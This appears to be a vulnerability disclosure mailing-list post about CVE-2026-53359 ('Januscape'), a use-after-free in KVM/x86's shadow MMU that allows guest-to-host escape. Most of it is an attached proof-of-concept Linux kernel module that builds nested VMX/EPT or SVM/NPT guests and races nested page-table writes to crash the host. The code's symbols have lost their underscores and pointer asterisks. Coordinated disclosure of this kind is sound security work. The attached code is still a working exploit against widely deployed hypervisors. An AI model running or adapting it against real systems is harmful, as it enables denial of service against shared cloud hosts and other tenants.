Hi,
The embargo agreed with the maintainers of linux-distros () vs openwall org has expired, so I am posting this report.
This is a report on "Januscape (CVE-2026-53359)", a KVM escape vulnerability that lets a guest escape to the host on KVM/x86, that is, on both Intel and AMD hosts. Januscape is a use-after-free vulnerability in the shadow MMU emulation of KVM/x86. It can trigger the bug with guest-side actions alone to corrupt the host kernel's shadow page, and it can threaten the guest-host isolation of KVM/x86 hosts that accept untrusted guests and expose nested virtualization, particularly multi-tenant x86 public clouds (GCP, AWS, etc.).
Also, on distributions such as RHEL, /dev/kvm is world-writable (0666), so an unprivileged user could also use this vulnerability as a reliable LPE to gain root, though that is a minor impact compared to the host escape.
In fact, Januscape was successfully used as a 0-day exploit in Google kvmCTF.
CVE-2026-53359 was reported to security () kernel org and has been patched in mainline, and it had been latent for about 16 years: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=81ccda30b4e83d8f5cc4fd50503c44e3a33abfeb
Additionally, I am attaching a DoS PoC. For detailed information about the vulnerability and follow-up updates, please see: https://januscape.io
Best regards, Hyunwoo Kim
---
/ Guest-to-Host DoS in KVM/x86 (CVE-2026-53359) KVM x86 MMU kvmmmugetchildsp() role-mismatch shadow-page reuse -> ptelistremove() host DoS. Target: Linux x8664, KVM shadow MMU before the getchildsp() role.word reuse check. Dual-arch: insmod poc.ko = Intel VMX/EPT (default), amd=1 = AMD SVM/NPT; rmmod kvmintel/kvmamd first. Copyright (c) 2026 Hyunwoo Kim (@v4bel) /
#include <linux/module.h> #include <linux/kernel.h> #include <linux/slab.h> #include <linux/mm.h> #include <linux/kthread.h> #include <linux/cpu.h> #include <linux/delay.h> #include <linux/smp.h> #include <linux/sched.h> #include <linux/jiffies.h> #include <asm/processor.h> #include <asm/specialinsns.h> #include <asm/io.h> #include <asm/desc.h> #include <asm/segment.h> #include <asm/svm.h> #include <asm/msr-index.h> #include <linux/version.h>
/ v7.1 (1aea80dd42cf) renamed vmcb.nestedctl -> miscctl and dropped SVMNESTEDCTLNPENABLE. / #ifndef SVMNESTEDCTLNPENABLE #define SVMNESTEDCTLNPENABLE (1ULL << 0) #endif #if LINUXVERSIONCODE >= KERNELVERSION(7, 1, 0) #define VMCBNPCTL(c) ((c)->miscctl) #else #define VMCBNPCTL(c) ((c)->nestedctl) #endif
MODULELICENSE("GPL"); MODULEDESCRIPTION("KVM guest->host DoS (dual-arch: Intel VMX/EPT default, amd=1 -> AMD SVM/NPT)"); MODULEAUTHOR("Hyunwoo Kim (@v4bel)");
static int amd = 0; moduleparam(amd, int, 0444); static int nvcpu = 8; moduleparam(nvcpu, int, 0444); static int dwell = 256; moduleparam(dwell, int, 0444); static int runms = 600000; moduleparam(runms, int, 0444); static int diag = 1; moduleparam(diag, int, 0444); static int nflood = 0; moduleparam(nflood, int, 0444);
#define EPTRWX 0x7ULL #define EPTMTWB (6ULL << 3) #define EPTLEAF (EPTRWX | EPTMTWB) #define EPTTBL (EPTRWX) #define EPTPS (1ULL << 7)
#define PFP 1ULL #define PFRW 2ULL #define PFUS 4ULL #define PFPS 0x80ULL #define EFERLME 0x100ULL #define EFERLMA 0x400ULL #define EFERSVME 0x1000ULL
#define GDTG 0xC000UL #define TSSG 0xD000UL #define NPML4 0x10000UL #define NPDPT 0x11000UL #define NPD 0x12000UL #define NCODE 0x13000UL #define NCODERACE (NCODE + 0x80) #define NSTACK 0x15000UL #define HV 0x800000UL #define GVAPRIME (HV + (0x100UL << 12)) #define PDEIDX 4UL #define PRIMEIDX 0x100UL
#define MAXPG 8192 static struct page pages[MAXPG]; static u8 pord[MAXPG]; static int npg; static void track(struct page p, int order) { if (npg < MAXPG) { pages[npg] = p; pord[npg] = (u8)order; npg++; } } static void apg(u64 pa) { struct page p = allocpage(GFPKERNEL | GFPZERO); if (!p) return NULL; track(p, 0); if (pa) pa = pagetophys(p); return pageaddress(p); } static void apgorder(int order, u64 pa) { struct page p = allocpages(GFPKERNEL | GFPZERO, order); if (!p) return NULL; track(p, order); if (pa) pa = pagetophys(p); return pageaddress(p); } static void freepgs(void) { int i; for (i = 0; i < npg; i++) freepages(pages[i], pord[i]); npg = 0; }
static void lowva; static u64 lowpa; static u64 nestpml4, nestpdpt, nestpd, nestpt0, ptg; static u64 nestpdpa, nestpt0pa, ptgpa, theroot; static void gregva; static u64 gregpa; static void qva; static u64 qpa;
#define NPRESS 200 static u64 pressroot[NPRESS]; static unsigned long fcnt[NRCPUS]; #define PHASE0EVERY 8
static inline u64 rdmsr(u32 i) { u32 lo, hi; asm volatile("rdmsr" : "=a"(lo), "=d"(hi) : "c"(i)); return ((u64)hi << 32) | lo; } static inline void wrmsr(u32 i, u64 v) { asm volatile("wrmsr" ::"c"(i), "a"((u32)v), "d"((u32)(v >> 32))); } static inline u64 rdcr4(void) { u64 v; asm volatile("mov %%cr4,%0" : "=r"(v)); return v; } static inline void wrcr4(u64 v) { asm volatile("mov %0,%%cr4" ::"r"(v) : "memory"); } static inline u64 rdcr3(void) { u64 v; asm volatile("mov %%cr3,%0" : "=r"(v)); return v; }
static inline int vmxon(u64 pa) { u8 e; asm volatile("vmxon %1; setna %0" : "=r"(e) : "m"(pa) : "cc", "memory"); return e; } static inline void vmxoff(void) { asm volatile("vmxoff" ::: "cc"); } static inline int vmclear(u64 pa) { u8 e; asm volatile("vmclear %1; setna %0" : "=r"(e) : "m"(pa) : "cc", "memory"); return e; } static inline int vmptrld(u64 pa) { u8 e; asm volatile("vmptrld %1; setna %0" : "=r"(e) : "m"(pa) : "cc", "memory"); return e; } static inline int vmwrite(u64 f, u64 v) { u8 e; asm volatile("vmwrite %2,%1; setna %0" : "=r"(e) : "r"(f), "r"(v) : "cc"); return e; } static inline u64 vmread(u64 f) { u64 v; asm volatile("vmread %1,%0" : "=r"(v) : "r"(f) : "cc"); return v; } static u32 adj(u32 msr, u32 want) { u64 m = rdmsr(msr); return (u32)(((want | (u32)m) & (u32)(m >> 32))); }
enum { MSRBITMAP = 0x2004, EPTPOINTER = 0x201a, VMCSLINKPOINTER = 0x2800, GUESTIA32EFER = 0x2806, HIA32EFER = 0x2c02, PINBASED = 0x4000, CPUBASED = 0x4002, EXCEPTIONBITMAP = 0x4004, PFECMASK = 0x4006, PFECMATCH = 0x4008, CR3TGTCNT = 0x400a, VMEXITCTL = 0x400c, VMEXITMSRSTORE = 0x400e, VMEXITMSRLOAD = 0x4010, VMENTRYCTL = 0x4012, VMENTRYMSRLOAD = 0x4014, VMENTRYINTR = 0x4016, TPRTHRESHOLD = 0x401c, SECEXEC = 0x401e, GESSEL = 0x800, GCSSEL = 0x802, GSSSEL = 0x804, GDSSEL = 0x806, GFSSEL = 0x808, GGSSEL = 0x80a, GLDTRSEL = 0x80c, GTRSEL = 0x80e, HESSEL = 0xc00, HCSSEL = 0xc02, HSSSEL = 0xc04, HDSSEL = 0xc06, HFSSEL = 0xc08, HGSSEL = 0xc0a, HTRSEL = 0xc0c, GESLIM = 0x4800, GCSLIM = 0x4802, GSSLIM = 0x4804, GDSLIM = 0x4806, GFSLIM = 0x4808, GGSLIM = 0x480a, GLDTRLIM = 0x480c, GTRLIM = 0x480e, GGDTRLIM = 0x4810, GIDTRLIM = 0x4812, GESAR = 0x4814, GCSAR = 0x4816, GSSAR = 0x4818, GDSAR = 0x481a, GFSAR = 0x481c, GGSAR = 0x481e, GLDTRAR = 0x4820, GTRAR = 0x4822, GINTRINFO = 0x4824, GACTIVITY = 0x4826, GSYSENTERCS = 0x482a, HSYSENTERCS = 0x4c00, CR0MASK = 0x6000, CR4MASK = 0x6002, CR0SHADOW = 0x6004, CR4SHADOW = 0x6006, GCR0 = 0x6800, GCR3 = 0x6802, GCR4 = 0x6804, GESBASE = 0x6806, GCSBASE = 0x6808, GSSBASE = 0x680a, GDSBASE = 0x680c, GFSBASE = 0x680e, GGSBASE = 0x6810, GLDTRBASE = 0x6812, GTRBASE = 0x6814, GGDTRBASE = 0x6816, GIDTRBASE = 0x6818, GDR7 = 0x681a, GRSP = 0x681c, GRIP = 0x681e, GRFLAGS = 0x6820, GPENDDBG = 0x6822, GSYSENTERESP = 0x6824, GSYSENTEREIP = 0x6826, HCR0 = 0x6c00, HCR3 = 0x6c02, HCR4 = 0x6c04, HFSBASE = 0x6c06, HGSBASE = 0x6c08, HTRBASE = 0x6c0a, HGDTRBASE = 0x6c0c, HIDTRBASE = 0x6c0e, HSYSENTERESP = 0x6c10, HSYSENTEREIP = 0x6c12, HRSP = 0x6c14, HRIP = 0x6c16 }; #define CPUUSEMSRBMP 0x10000000u #define CPUSECCTLS 0x80000000u #define SECEPT 0x2u #define EXITHOSTADDR 0x200u #define EXITLOADEFER 0x200000u #define ENTRYIA32E 0x200u #define ENTRYLOADEFER 0x8000u
static u64 vmxonpa[NRCPUS], vmcspa[NRCPUS], hoststk[NRCPUS]; static u64 svmguestpa[NRCPUS], svmhostpa[NRCPUS], svmhsavepa[NRCPUS]; static struct vmcb svmguest[NRCPUS]; static u64 msrbmppa, iopmpa, msrpmpa; static volatile int writerready = 0, stopall = 0; static volatile unsigned long raceloops = 0, floodloops = 0, svmexits = 0; static volatile unsigned long svmecvmmcall = 0, svmecnpf = 0, svmechlt = 0, svmecerr = 0, svmecother = 0; static volatile int saw4141 = 0, sawerr = 0; static struct taskstruct threads[NRCPUS]; static int roleof[NRCPUS]; #define RWRITER 0 #define RFLOOD 1 #define RFAULT 2
struct virtops { const char name; int (cpuon)(int cpu); void (cpuoff)(void); u64 (hugepte)(u64 pa); u64 (tblpte)(u64 pa); u64 (leaf4k)(u64 pa); u64 (mkroot)(u64 pml4pa); int (vcpurun)(int cpu); }; static struct virtops ops;
static u64 nextgrip(int cpu) { unsigned long r = fcnt[cpu]++; syncfetchandadd(&raceloops, 1); return ((r % PHASE0EVERY) == 0) ? NCODE : NCODERACE; }
static void wrimm64(u8 p, u64 v) { int i; for (i = 0; i < 8; i++) p[i] = (u8)(v >> (8 i)); }
static u8 ncode[] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0x48, 0x8b, 0x00, 0x0f, 0x01, 0xc1, 0xf4 };
static u64 vmxhugepte(u64 pa) { return pa | EPTLEAF | EPTPS; } static u64 vmxtblpte(u64 pa) { return pa | EPTTBL; } static u64 vmxleaf4k(u64 pa) { return pa | EPTLEAF; } static u64 vmxmkroot(u64 pml4) { return pml4 | 0x1eULL; }
asmlinkage long vmexitdispatch(void) { int cpu = rawsmpprocessorid(); if (stopall) return 1; if (roleof[cpu] == RFLOOD) { unsigned long r = syncfetchandadd(&floodloops, 1); vmwrite(EPTPOINTER, pressroot[r % NPRESS]); vmwrite(GRIP, NCODE); vmwrite(GRSP, NSTACK); vmwrite(GRFLAGS, 2); return 0; } { u64 rip = nextgrip(cpu); vmwrite(GRIP, rip); vmwrite(GRSP, NSTACK); vmwrite(GRFLAGS, 2); } return 0; }
static noinline void runguest(void) { asm volatile( " push %%rbp\n push %%rbx\n push %%r12\n push %%r13\n push %%r14\n push %%r15\n" " mov $0x6c14, %%rdx\n vmwrite %%rsp, %%rdx\n" " lea 1f(%%rip), %%rax\n mov $0x6c16, %%rdx\n vmwrite %%rax, %%rdx\n" " vmlaunch\n jmp 3f\n" "1: call vmexitdispatch\n test %%rax, %%rax\n jnz 2f\n vmresume\n" "3:\n" "2: pop %%r15\n pop %%r14\n pop %%r13\n pop %%r12\n pop %%rbx\n pop %%rbp\n" :: : "rax", "rcx", "rdx", "rsi", "rdi", "r8", "r9", "r10", "r11", "memory", "cc"); }
static void sethoststate(int cpu) { struct descptr gdt, idt; u16 tr; u64 trbase = 0; asm volatile("sgdt %0" : "=m"(gdt)); asm volatile("sidt %0" : "=m"(idt)); asm volatile("str %0" : "=m"(tr)); if (tr) { struct descstruct d = (struct descstruct )(gdt.address + (tr & ~7)); trbase = getdescbase(d); #ifdef CONFIGX8664 trbase |= ((u64)((struct ldttssdesc )d)->base3) << 32; #endif } vmwrite(HCR0, readcr0()); vmwrite(HCR3, rdcr3()); vmwrite(HCR4, rdcr4()); vmwrite(HCSSEL, KERNELCS); vmwrite(HSSSEL, KERNELDS); vmwrite(HDSSEL, KERNELDS); vmwrite(HESSEL, KERNELDS); vmwrite(HFSSEL, 0); vmwrite(HGSSEL, 0); vmwrite(HTRSEL, tr); vmwrite(HGDTRBASE, gdt.address); vmwrite(HIDTRBASE, idt.address); vmwrite(HTRBASE, trbase); vmwrite(HFSBASE, rdmsr(0xc0000100)); vmwrite(HGSBASE, rdmsr(0xc0000101)); vmwrite(HIA32EFER, rdmsr(0xc0000080)); vmwrite(HSYSENTERCS, 0); vmwrite(HSYSENTERESP, 0); vmwrite(HSYSENTEREIP, 0); vmwrite(HRSP, 0); vmwrite(HRIP, 0); }
static int vmxcpuon(int cpu) { u64 cr4 = rdcr4(), fc, pa; void v; wrcr4(cr4 | (1ULL << 13)); fc = rdmsr(0x3a); if (!(fc & 1)) wrmsr(0x3a, fc | 0x5); v = apg(&pa); if (!v) return -1; (u32 )v = (u32)rdmsr(0x480); vmxonpa[cpu] = pa; if (vmxon(pa)) { prerr("poc: vmxon fail cpu%d\n", cpu); return -1; } return 0; } static void vmxcpuoff(void) { vmxoff(); }
static int vmxvcpurun(int cpu) { u64 pa, ncr0, ncr4, gefer = 0x500; void v; u32 pin, proc, sec, exitc, entryc; v = apg(&pa); if (!v) return -1; (u32 )v = (u32)rdmsr(0x480); vmcspa[cpu] = pa; if (vmclear(pa) || vmptrld(pa)) { prerr("poc: vmclear/ptrld fail cpu%d\n", cpu); return -1; } ncr0 = (0x80050033ULL | rdmsr(0x486)) & rdmsr(0x487); ncr4 = (0x2000ULL | 0x20ULL | rdmsr(0x488)) & rdmsr(0x489); pin = adj(0x48d, 0); proc = adj(0x48e, CPUUSEMSRBMP | CPUSECCTLS); sec = adj(0x48b, SECEPT); exitc = adj(0x483, EXITHOSTADDR | EXITLOADEFER); entryc = adj(0x484, ENTRYIA32E | ENTRYLOADEFER); if (!(proc & CPUSECCTLS) || !(sec & SECEPT)) { prerr("poc: NO EPT ctl cpu%d\n", cpu); return -1; } vmwrite(PINBASED, pin); vmwrite(CPUBASED, proc); vmwrite(SECEXEC, sec); vmwrite(EPTPOINTER, theroot); vmwrite(EXCEPTIONBITMAP, 0); vmwrite(PFECMASK, 0); vmwrite(PFECMATCH, 0xffffffff); vmwrite(CR3TGTCNT, 0); vmwrite(VMEXITCTL, exitc); vmwrite(VMEXITMSRSTORE, 0); vmwrite(VMEXITMSRLOAD, 0); vmwrite(VMENTRYCTL, entryc); vmwrite(VMENTRYMSRLOAD, 0); vmwrite(VMENTRYINTR, 0); vmwrite(TPRTHRESHOLD, 0); vmwrite(CR0MASK, 0); vmwrite(CR4MASK, 0); vmwrite(CR0SHADOW, ncr0); vmwrite(CR4SHADOW, ncr4); vmwrite(MSRBITMAP, msrbmppa); sethoststate(cpu); vmwrite(GESSEL, 0x10); vmwrite(GCSSEL, 0x8); vmwrite(GSSSEL, 0x10); vmwrite(GDSSEL, 0x10); vmwrite(GFSSEL, 0x10); vmwrite(GGSSEL, 0x10); vmwrite(GLDTRSEL, 0); vmwrite(GTRSEL, 0x18); vmwrite(VMCSLINKPOINTER, ~0ULL); vmwrite(GUESTIA32EFER, gefer); vmwrite(GESLIM, 0xffffffff); vmwrite(GCSLIM, 0xffffffff); vmwrite(GSSLIM, 0xffffffff); vmwrite(GDSLIM, 0xffffffff); vmwrite(GFSLIM, 0xffffffff); vmwrite(GGSLIM, 0xffffffff); vmwrite(GLDTRLIM, 0xffffffff); vmwrite(GTRLIM, 0x67); vmwrite(GGDTRLIM, 0xffff); vmwrite(GIDTRLIM, 0xffff); vmwrite(GESAR, 0xc093); vmwrite(GCSAR, 0xa09b); vmwrite(GSSAR, 0xc093); vmwrite(GDSAR, 0xc093); vmwrite(GFSAR, 0xc093); vmwrite(GGSAR, 0xc093); vmwrite(GLDTRAR, 0x10000); vmwrite(GTRAR, 0x8b); vmwrite(GINTRINFO, 0); vmwrite(GACTIVITY, 0); vmwrite(GSYSENTERCS, 0); vmwrite(GCR0, ncr0); vmwrite(GCR3, NPML4); vmwrite(GCR4, ncr4); vmwrite(GESBASE, 0); vmwrite(GCSBASE, 0); vmwrite(GSSBASE, 0); vmwrite(GDSBASE, 0); vmwrite(GFSBASE, 0); vmwrite(GGSBASE, 0); vmwrite(GLDTRBASE, 0); vmwrite(GTRBASE, TSSG); vmwrite(GGDTRBASE, GDTG); vmwrite(GIDTRBASE, 0); vmwrite(GDR7, 0x400); vmwrite(GRSP, NSTACK); vmwrite(GRIP, NCODE); vmwrite(GRFLAGS, 2); vmwrite(GPENDDBG, 0); vmwrite(GSYSENTERESP, 0); vmwrite(GSYSENTEREIP, 0); if (roleof[cpu] == RFLOOD) vmwrite(EPTPOINTER, pressroot[0]); while (!writerready && !stopall) cpurelax(); runguest(); if (!stopall) prerr("poc: runguest RETURNED early cpu%d vmerr=%llx exit=%llx\n", cpu, vmread(0x4400), vmread(0x4402)); vmclear(vmcspa[cpu]); return 0; } static struct virtops vmxops = { .name = "VMX/EPT", .cpuon = vmxcpuon, .cpuoff = vmxcpuoff, .hugepte = vmxhugepte, .tblpte = vmxtblpte, .leaf4k = vmxleaf4k, .mkroot = vmxmkroot, .vcpurun = vmxvcpurun, };
static u64 svmhugepte(u64 pa) { return pa | PFP | PFRW | PFUS | PFPS; } static u64 svmtblpte(u64 pa) { return pa | PFP | PFRW | PFUS; } static u64 svmleaf4k(u64 pa) { return pa | PFP | PFRW | PFUS; } static u64 svmmkroot(u64 pml4) { return pml4; }
static inline u16 svmattr(u32 vmxar) { return (u16)((vmxar & 0xff) | ((vmxar >> 4) & 0xf00)); }
static int svmcpuon(int cpu) { u64 efer, vh, vmcbg, vmcbh; void p; efer = rdmsr(MSREFER); wrmsr(MSREFER, efer | EFERSVME); p = apg(&vh); if (!p) return -1; svmhsavepa[cpu] = vh; wrmsr(MSRVMHSAVEPA, vh); p = apg(&vmcbh); if (!p) return -1; svmhostpa[cpu] = vmcbh; svmguest[cpu] = apg(&vmcbg); if (!svmguest[cpu]) return -1; svmguestpa[cpu] = vmcbg; return 0; } static void svmcpuoff(void) { u64 e = rdmsr(MSREFER); wrmsr(MSREFER, e & ~EFERSVME); }
/ one VMRUN of the L3; host segs vmsave/vmload'd around it. gpa/hpa via memory operands so they survive the guest clobbering GPRs; VMRUN auto-saves host RSP/RIP/RAX via VMHSAVEPA. / static noinline void svmdovmrun(u64 gpa, u64 hpa) { u64 g = gpa, h = hpa; asm volatile(" clgi\n" " mov %1, %%rax\n vmsave\n" " mov %0, %%rax\n vmload\n" " vmrun\n" " mov %0, %%rax\n vmsave\n" " mov %1, %%rax\n vmload\n" " stgi\n" : "+m"(g), "+m"(h) : : "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8", "r9", "r10", "r11", "memory", "cc"); }
static void svmseg(struct vmcbseg s, u16 sel, u32 vmxar, u32 lim, u64 base) { s->selector = sel; s->attrib = svmattr(vmxar); s->limit = lim; s->base = base; }
static int svmvcpurun(int cpu) { struct vmcb gv = svmguest[cpu]; struct vmcbcontrolarea c = &gv->control; struct vmcbsavearea s = &gv->save; int first = 1; memset(gv, 0, sizeof(gv));
c->intercepts[INTERCEPTVMRUN / 32] |= 1u << (INTERCEPTVMRUN % 32); c->intercepts[INTERCEPTVMMCALL / 32] |= 1u << (INTERCEPTVMMCALL % 32); c->intercepts[INTERCEPTHLT / 32] |= 1u << (INTERCEPTHLT % 32); c->asid = 1; VMCBNPCTL(c) = SVMNESTEDCTLNPENABLE; c->nestedcr3 = theroot; c->iopmbasepa = iopmpa; c->msrpmbasepa = msrpmpa; c->clean = 0;
s->efer = EFERSVME | EFERLME | EFERLMA; s->cr0 = 0x80050033ULL; s->cr3 = NPML4; s->cr4 = 0x20ULL; s->rflags = 2; s->rip = NCODE; s->rsp = NSTACK; s->rax = 0; s->dr7 = 0x400; s->gpat = 0x0007040600070406ULL; svmseg(&s->cs, 0x08, 0xa09b, 0xffffffff, 0); svmseg(&s->ss, 0x10, 0xc093, 0xffffffff, 0); svmseg(&s->ds, 0x10, 0xc093, 0xffffffff, 0); svmseg(&s->es, 0x10, 0xc093, 0xffffffff, 0); svmseg(&s->fs, 0x10, 0xc093, 0xffffffff, 0); svmseg(&s->gs, 0x10, 0xc093, 0xffffffff, 0); svmseg(&s->tr, 0x18, 0x008b, 0x67, TSSG); svmseg(&s->ldtr, 0, 0, 0, 0); svmseg(&s->gdtr, 0, 0, 0xffff, GDTG); svmseg(&s->idtr, 0, 0, 0xffff, 0);
while (!writerready && !stopall) cpurelax(); while (!stopall) { u64 rip = nextgrip(cpu); s->rip = rip; s->rsp = NSTACK; s->rflags = 2; s->rax = 0; c->clean = 0; svmdovmrun(svmguestpa[cpu], svmhostpa[cpu]); { u32 ec = c->exitcode; u64 rax = s->rax; syncfetchandadd(&svmexits, 1); if (ec == 0x81) syncfetchandadd(&svmecvmmcall, 1); else if (ec == 0x400) syncfetchandadd(&svmecnpf, 1); else if (ec == 0x78) syncfetchandadd(&svmechlt, 1); else if (ec == 0xffffffff) syncfetchandadd(&svmecerr, 1); else syncfetchandadd(&svmecother, 1); if (first && diag) { prinfo("poc[SVM]: first vmexit cpu%d exitcode=0x%x info1=%llx info2=%llx rip=%llx rax=%llx (NPF=0x400 VMMCALL=0x81 HLT=0x78 ERR=0xffffffff)\n", cpu, ec, c->exitinfo1, c->exitinfo2, rip, rax); first = 0; } if (diag >= 2) { if (rax == 0x4141414141414141ULL && !synclocktestandset(&saw4141, 1)) prinfo("poc[SVM]: cpu%d rip=%llx rax=0x4141..\n", cpu, rip, rax); if (ec == 0xffffffff && !synclocktestandset(&sawerr, 1)) prerr("poc[SVM]: cpu%d exitcode=-1 info1=%llx\n", cpu, c->exitinfo1); if ((svmecvmmcall % 50000) == 0 && ec == 0x81) prinfo("poc[SVM] hist cpu%d: vmmcall=%lu npf=%lu hlt=%lu ERR=%lu other=%lu saw4141=%d nestpd[%lu]=%llx\n", cpu, svmecvmmcall, svmecnpf, svmechlt, svmecerr, svmecother, saw4141, PDEIDX, nestpd[PDEIDX]); } } } if (diag) prinfo("poc[SVM] FINAL cpu%d: vmmcall=%lu npf=%lu hlt=%lu ERR=%lu other=%lu sawNPTread4141=%d\n", cpu, svmecvmmcall, svmecnpf, svmechlt, svmecerr, svmecother, saw4141); return 0; } static struct virtops svmops = { .name = "SVM/NPT", .cpuon = svmcpuon, .cpuoff = svmcpuoff, .hugepte = svmhugepte, .tblpte = svmtblpte, .leaf4k = svmleaf4k, .mkroot = svmmkroot, .vcpurun = svmvcpurun, };
static int buildworld(void) { int i; u64 npd; u8 lb; lowva = apgorder(9, &lowpa); if (!lowva) return -1; lb = lowva; gregva = apgorder(9, &gregpa); if (!gregva) return -1; qva = apg(&qpa); if (!qva) return -1; for (i = 0; i < 512; i++) ((u64 )qva)[i] = 0x4141414141414141ULL;
{ u64 a; nestpml4 = apg(&a); if (!nestpml4) return -1; theroot = ops->mkroot(a); nestpdpt = apg(&a); if (!nestpdpt) return -1; nestpml4[0] = ops->tblpte(a); nestpd = apg(&nestpdpa); if (!nestpd) return -1; nestpdpt[0] = ops->tblpte(nestpdpa); nestpt0 = apg(&nestpt0pa); if (!nestpt0) return -1; nestpd[0] = ops->tblpte(nestpt0pa); }
/ ptg (the nested PT page) IS greg's first page -> tablegfn == S->gfn == G; gfn matches while role mismatches (q stays a separate page). / ptg = (u64 )gregva; ptgpa = gregpa; for (i = 0; i < 512; i++) nestpt0[i] = ops->leaf4k(lowpa + (u64)i 0x1000); nestpd[PDEIDX] = ops->hugepte(gregpa); for (i = 0; i < 512; i++) ptg[i] = 0; ptg[0] = ops->leaf4k(gregpa); ptg[PRIMEIDX] = ops->leaf4k(qpa);
npd = (u64 )(lb + NPD); (u64 )(lb + NPML4) = NPDPT | PFP | PFRW | PFUS; (u64 )(lb + NPDPT) = NPD | PFP | PFRW | PFUS; npd[0] = 0x0 | PFP | PFRW | PFUS | PFPS; npd[PDEIDX] = HV | PFP | PFRW | PFUS | PFPS; memcpy(lb + NCODE, ncode, sizeof(ncode)); wrimm64(lb + NCODE + 2, HV); memcpy(lb + NCODERACE, ncode, sizeof(ncode)); wrimm64(lb + NCODERACE + 2, GVAPRIME); (u64 )(lb + GDTG + 0x00) = 0; (u64 )(lb + GDTG + 0x08) = 0x00AF9B000000FFFFULL; (u64 )(lb + GDTG + 0x10) = 0x00CF93000000FFFFULL; (u64 )(lb + GDTG + 0x18) = 0x00008900D0000067ULL; (u64 )(lb + GDTG + 0x20) = 0;
if (!amd) for (i = 0; i < NPRESS; i++) { u64 a; u64 pm = apg(&a), pp, pdp, p0, pt; u64 ppa, pda, pt0a, ptta; int j; pp = apg(&ppa); if (!pm || !pp) break; pm[0] = ppa | EPTTBL; pdp = apg(&pda); if (!pdp) break; pp[0] = pda | EPTTBL; p0 = apg(&pt0a); pt = apg(&ptta); if (!p0 || !pt) break; pdp[0] = pt0a | EPTTBL; pdp[PDEIDX] = ptta | EPTTBL; for (j = 0; j < 512; j++) { p0[j] = (lowpa + (u64)j 0x1000) | EPTLEAF; pt[j] = (gregpa + (u64)j 0x1000) | EPTLEAF; } pressroot[i] = a | 0x1eULL; } prinfo("poc[%s]: world built root=%llx greg=%llx q=%llx (S.gfn=%llx primegfn=%llx qgfn=%llx)\n", ops->name, theroot, gregpa, qpa, gregpa >> 12, (gregpa >> 12) + PRIMEIDX, qpa >> 12); return 0; }
static void parkuntilstop(void) { while (!kthreadshouldstop()) msleep(50); }
static int kthr(void arg) { int cpu = (int)(long)arg; if (ops->cpuon(cpu) == 0) { if (roleof[cpu] == RWRITER) { unsigned long w = 0; unsigned long deadline = jiffies + msecstojiffies(runms); writerready = 1; prinfo("poc[%s]: writer live cpu%d dwell=%d runms=%d\n", ops->name, cpu, dwell, runms); while (!stopall) { volatile int k; nestpd[PDEIDX] = ops->hugepte(gregpa); for (k = 0; k < dwell; k++) cpurelax(); nestpd[PDEIDX] = ops->tblpte(ptgpa); for (k = 0; k < dwell; k++) cpurelax(); if (((++w) & 0x3ff) == 0 && runms > 0 && timeafter(jiffies, deadline)) { prinfo("poc[%s]: writer deadline (writes=%lu race=%lu svmexits=%lu) -> stop\n", ops->name, w, raceloops, svmexits); stopall = 1; break; } if ((w % 2000000) == 0) prinfo("poc[%s]: writes=%lu race=%lu svmexits=%lu\n", ops->name, w, raceloops, svmexits); } } else { ops->vcpurun(cpu); } ops->cpuoff(); } parkuntilstop(); return 0; }
static int virtsupported(int wantamd) { u32 a, b, c, d; if (wantamd) { a = 0x80000001; asm volatile("cpuid" : "=a"(a), "=b"(b), "=c"(c), "=d"(d) : "0"(a), "2"(0)); return !!(c & (1u << 2)); } a = 1; asm volatile("cpuid" : "=a"(a), "=b"(b), "=c"(c), "=d"(d) : "0"(a), "2"(0)); return !!(c & (1u << 5)); }
static int init minit(void) { int cpu, online = numonlinecpus(), used; void bmp; ops = amd ? &svmops : &vmxops; prinfo("poc: backend=%s (amd=%d) nvcpu=%d online=%d runms=%d [rmmod %s first!]\n", ops->name, amd, nvcpu, online, runms, amd ? "kvmamd" : "kvmintel"); if (!virtsupported(amd)) { prerr("poc: CPU lacks %s -> abort (use %s, or run on matching host)\n", amd ? "SVM" : "VMX", amd ? "amd=0 on Intel" : "amd=1 on AMD"); return -ENODEV; } prinfo("[] poc step 1/4: backend=%s ready (rmmod %s done)\n", ops->name, amd ? "kvmamd" : "kvmintel"); if (amd) { ncode[13] = 0x0f; ncode[14] = 0x01; ncode[15] = 0xd9; } if (diag) { if (!amd) prinfo("poc: DIAG VMX BASIC=%llx EPTVPID=%llx\n", rdmsr(0x480), rdmsr(0x48c)); else prinfo("poc: DIAG SVM EFER=%llx VMCR=%llx\n", rdmsr(MSREFER), rdmsr(0xc0010114)); } if (buildworld()) { prerr("poc: build fail\n"); freepgs(); return -ENOMEM; } prinfo("[] poc step 2/4: nested page tables + L3 guest image built\n"); bmp = apg(&msrbmppa); if (bmp) memset(bmp, 0xff, 4096); if (amd) { void a = apgorder(2, &iopmpa); void b = apgorder(1, &msrpmpa); if (!a || !b) { prerr("poc: iopm/msrpm alloc fail\n"); freepgs(); return -ENOMEM; } } for (cpu = 0; cpu < online && cpu < NRCPUS; cpu++) { void s = apg(NULL); hoststk[cpu] = (u64)(unsigned long)((char )s + 0xff0); } used = min(nvcpu, online); for (cpu = 0; cpu < used; cpu++) roleof[cpu] = (cpu == 0) ? RWRITER : (cpu <= nflood && !amd) ? RFLOOD : RFAULT; prinfo("[] poc step 3/4: launching %d kthreads (1 writer + %d faulters)\n", used, used - 1 - (amd ? 0 : nflood)); for (cpu = 0; cpu < used; cpu++) { threads[cpu] = kthreadcreate(kthr, (void )(long)cpu, "poc%d", cpu); if (!ISERR(threads[cpu])) { kthreadbind(threads[cpu], cpu); wakeupprocess(threads[cpu]); } } prinfo("poc[%s]: %d kthreads launched (1 writer + %d flood + %d faulters); race live\n", ops->name, used, amd ? 0 : nflood, used - 1 - (amd ? 0 : nflood)); prinfo("[] poc step 4/4: race live -- host DoS triggering\n"); return 0; } static void exit mexit(void) { int c; stopall = 1; msleep(200); for (c = 0; c < NRCPUS; c++) if (threads[c] && !ISERR(threads[c])) kthreadstop(threads[c]); freepgs(); prinfo("poc: unloaded\n"); } moduleinit(minit); moduleexit(mexit);